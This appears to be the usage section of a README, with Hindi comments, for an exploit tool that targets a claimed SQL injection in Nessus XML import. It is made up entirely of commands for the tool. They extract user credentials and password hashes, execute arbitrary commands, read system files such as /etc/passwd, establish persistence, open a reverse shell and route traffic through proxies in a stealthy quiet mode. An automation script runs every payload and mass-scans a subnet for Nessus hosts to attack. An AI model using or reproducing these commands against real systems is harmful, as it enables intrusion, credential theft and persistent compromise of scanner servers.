# रिपॉजिटरी क्लोन करें
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# वर्चुअल वातावरण बनाएं और सक्रिय करें
python3 -m venv venv
source venv/bin/activate  # विंडोज़ पर: venv\Scripts\activate

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# स्थापना सत्यापित करें
python3 exploit.py --version

# डॉकर इमेज बनाएं
docker build -t nessus-exploit .

# टूल चलाएं
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

# एक पैकेज के रूप में स्थापित करें
pip install -e .

# अब कहीं से भी चलाएं
nessus-exploit generate -u https://test.com -p enum

# एक बुनियादी गणना शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p enum

# उन्नत बहु-चरणीय शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# डेटाबेस से डेटा निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# सामान्य सहायता दिखाएं
python3 exploit.py --help

# generate कमांड सहायता दिखाएं
python3 exploit.py generate --help

# सभी उपलब्ध पेलोड सूचीबद्ध करें
python3 exploit.py list

python3 exploit.py generate -u https://test.com -p enum

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

# उपयोगकर्ता क्रेडेंशियल निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# कस्टम स्तंभों के साथ निकालें
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

# श्रोता शुरू करें और शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

# बुनियादी कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# जटिल कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

# सिस्टम फ़ाइलें पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# एप्लिकेशन लॉग पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

# 5 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 5

# भारी परीक्षण के लिए 30 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 30

# HTTP प्रॉक्सी
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# प्रमाणीकरण के साथ HTTPS प्रॉक्सी
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

# 8 समानांतर कार्यों के साथ चलाएं
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# कस्टम टाइमआउट और पुनर्प्रयासों के साथ
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

# वर्बोज़ मोड (विस्तृत आउटपुट)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# क्वाइट मोड (न्यूनतम आउटपुट)
python3 exploit.py generate -u https://test.com -p advanced -q

# चरण 1: डेटाबेस की गणना करें
python3 exploit.py generate -u https://test.com -p enum -v

# चरण 2: संवेदनशील डेटा निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# चरण 3: स्थायित्व स्थापित करें
python3 exploit.py generate -u https://test.com -p persist

# चरण 4: रिवर्स शेल सेट करें
python3 exploit.py generate -u https://test.com -p shell -lp 4444

# प्रॉक्सी और क्वाइट मोड का उपयोग करके
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

#!/bin/bash
# auto_exploit.sh - स्वचालित शोषण स्क्रिप्ट

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# सभी पेलोड चलाएं
for payload in enum dump shell persist; do
    echo "[*] पेलोड चल रहा है: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# व्यापक रिपोर्ट उत्पन्न करें
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

# नेटवर्क-व्यापी मूल्यांकन
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] परीक्षण: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

# व्यापक साक्ष्य संग्रह करें
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

# सभी रिपोर्ट प्रारूप उत्पन्न करें
python3 exploit.py report -i results.json -o report

# केवल HTML रिपोर्ट उत्पन्न करें
python3 exploit.py report -i results.json -o report.html --format html

# मार्कडाउन रिपोर्ट उत्पन्न करें
python3 exploit.py report -i results.json -o report.md --format markdown

# रिपॉजिटरी क्लोन करें
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# विकास निर्भरताएँ स्थापित करें
pip install -r requirements-dev.txt

# परीक्षण चलाएं
pytest

# कोड फ़ॉर्मेट करें
black exploit.py

# लिंटिंग जाँचें
flake8 exploit.py